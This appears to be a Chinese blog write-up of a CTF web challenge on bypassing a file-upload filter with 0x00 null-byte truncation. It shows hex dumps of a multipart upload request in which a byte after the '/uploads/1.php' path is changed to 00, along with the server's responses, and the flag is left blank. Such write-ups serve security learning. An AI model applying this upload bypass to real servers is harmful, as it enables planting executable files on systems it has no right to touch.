

CTF实验吧-上传绕过【0x00截断】

原创

Sp4rkW 于 2017-08-01 18:14:55 发布 31864 收藏 6

文章标签: [ctf web 0x00](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/wy_97/article/details/76549405

版权



[ctf相关 专栏收录该内容](#)

47 篇文章 5 订阅

订阅专栏

原题内容:

bypass the upload

格式: flag{}

解题链接: <http://ctf5.shiyanbar.com/web/upload>

首先随手上传了一个图片,

文件上传

Filename: 73.jpg

http://blog.csdn.net/wy_97

得到返回:

Upload: 73.jpg

Type: image/jpeg

Size: 9.021484375 Kb

Stored in: ./uploads/8a9e5f6a7a789acb.php

必须上传成后缀名为php的文件才行啊!

http://blog.csdn.net/wy_97

再尝试php文件, 得到返回

36	25	39	37	25	39	37	0d	0a	43	6f	6e	6e	65	63	74	6%	97%	97Connect
69	6f	6e	3a	20	63	6c	6f	73	65	0d	0a	0d	0a	2d	2d	ion: close--		
2d	2d	2d	2d	57	65	62	4b	69	74	46	6f	72	6d	42	6f	-----WebKitFormBo		
75	6e	64	61	72	79	46	7a	6c	4e	47	48	5a	30	42	4d	oundaryFzINGHZ0BM		
6c	54	52	35	30	53	0d	0a	43	6f	6e	74	65	6e	74	2d	ITR50SContent-		
44	69	73	70	6f	73	69	74	69	6f	6e	3a	20	66	6f	72	Disposition: for		
6d	2d	64	61	74	61	3b	20	6e	61	6d	65	3d	22	64	69	m-data; name="di		
72	22	0d	0a	0d	0a	2f	75	70	6c	6f	61	64	73	2f	31	r"/uploads/1		
2e	70	68	70	0d	0a	2d	57	65	62	.php+-----Web								
4b	69	74	46	6f	72	6d	42	6f	75	6e	64	61	72	79	46	KitFormBoundaryF		
7a	6c	4e	47	48	5a	30	42	4d	6c	54	52	35	30	53	0d	zINGHZ0BMITR50S		
0a	43	6f	6e	74	65	6e	74	2d	44	69	73	70	6f	73	69	Content-Disposi		
74	69	6f	6e	3a	20	66	6f	72	6d	2d	64	61	74	61	3b	tion: form-data;		
20	6e	61	6d	65	3d	22	66	69	6c	65	22	3b	20	66	69	name="file"; fi		
6c	65	6e	61	6d	65	3d	22	37	33	2e	6a	70	67	22	0d	lename="73.jpg"		
0a	43	6f	6e	74	65	6e	74	2d	54	79	70	65	3a	20	69	Content-Type: i		
6d	61	67	65	2f	6a	70	65	67	0d	0a	0d	0a	ff	d8	ff	mage/jpegy0y		
e0	00	10	4a	46	49	46	00	01	01	00	00	01	00	01	00	àJFIF		
00	ff	db	00	43	00	08	06	06	07	06	05	08	07	07	07	yÜC		
09	09	08	0a	0c	14	0d	0c	0b	0b	0c	19	12	13	0f	14	000000000000		
1d	1a	1f	1e	1d	1a	1c	1c	20	24	2e	27	20	22	2c	23	00000000c \$'".#		
1c	1c	28	37	29	2c	30	31	34	34	34	1f	27	39	3d	38	00(7,0144409=8		
3c	3c	2e	33	34	32	ff	db	00	43	01	09	09	09	0c	0b	2k-342yÜC		
0c	18	0d	0d	18	32	21	1c	21	32	32	32	32	32	32	32	0000000022222222		
32	32	32	32	32	32	32	32	32	32	32	32	32	32	32	32	2222222222222222		
32	32	32	32	32	32	32	32	32	32	32	32	32	32	32	32	2222222222222222		

```

<html><head><meta charset="utf-8" /></head><body>
Upload: 73.jpg<br />Type: image/jpeg<br />Size: 9.021484375 Kb<br />Stored in:
./uploads/8a9e5f6a7a789acb.php<br>00000000php00000000<br></body>
</html>

```

http://blog.csdn.net/wy_97

0x00的意思为16进制00，所以讲+对应的进制改成00（至于怎么找到对应代码，看右边对应代码，找到第几行，从左到右，每个字母对应一个代码），改完直接go

3b	6c	54	52	35	30	53	0d	0a	43	6f	6e	74	65	6e	74	2d	ITR50SContent-	
3c	44	69	73	70	6f	73	69	74	69	6f	6e	3a	20	66	6f	72	Disposition: for	
3d	6d	2d	64	61	74	61	3b	20	6e	61	6d	65	3d	22	64	69	m-data; name="di	
3e	72	22	0d	0a	0d	0a	2f	75	70	6c	6f	61	64	73	2f	31	r"/uploads/1	
3f	2e	70	68	70	00	0d	0a	2d	57	65	62	.php+-----Web						
40	4b	69	74	46	6f	72	6d	42	6f	75	6e	64	61	72	79	46	KitFormBoundaryF	
41	7a	6c	4e	47	48	5a	30	42	4d	6c	54	52	35	30	53	0d	zINGHZ0BMITR50S	
42	0a	43	6f	6e	74	65	6e	74	2d	44	69	73	70	6f	73	69	Content-Disposi	
43	74	69	6f	6e	3a	20	66	6f	72	6d	2d	64	61	74	61	3b	tion: form-data;	
44	20	6e	61	6d	65	3d	22	66	69	6c	65	22	3b	20	66	69	name="file"; fi	
45	6c	65	6e	61	6d	65	3d	22	37	33	2e	6a	70	67	22	0d	lename="73.jpg"	
46	0a	43	6f	6e	74	65	6e	74	2d	54	79	70	65	3a	20	69	Content-Type: i	
47	6d	61	67	65	2f	6a	70	65	67	0d	0a	0d	0a	ff	d8	ff	mage/jpegy0y	
48	e0	00	10	4a	46	49	46	00	01	01	00	00	01	00	01	00	àJFIF	
49	00	ff	db	00	43	00	08	06	06	07	06	05	08	07	07	07	yÜC	
4a	09	09	08	0a	0c	14	0d	0c	0b	0b	0c	19	12	13	0f	14	000000000000	

http://blog.csdn.net/wy_97

```

15a4c582e4516
c3=1*visitor
l244%2CnickNa
%3A%E5%A4%BA%E
}7%97Connect
close--
VebKitFormBo
aryFzINGHZ0BM
50SContent-
osition: for
ata; name="di
ploads/1
}-----Web
ormBoundaryF
3HZ0BMITR50S

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.2.17
X-Powered-By: PHP/5.2.17
Content-Length: 231
Connection: close
Content-Type: text/html

<html><head><meta charset="utf-8" /></head><body>
Upload: 73.jpg<br />Type: image/jpeg<br />Size: 9.021484375 Kb<br />Stored in:
./uploads/8a9e5f6a7a789acb.php<br>00000000flag000<br>flag{ }</body>
</html>

```

http://blog.csdn.net/wy_97

内容就是这些了，flag自行尝试吧，有疑问欢迎留言或者私信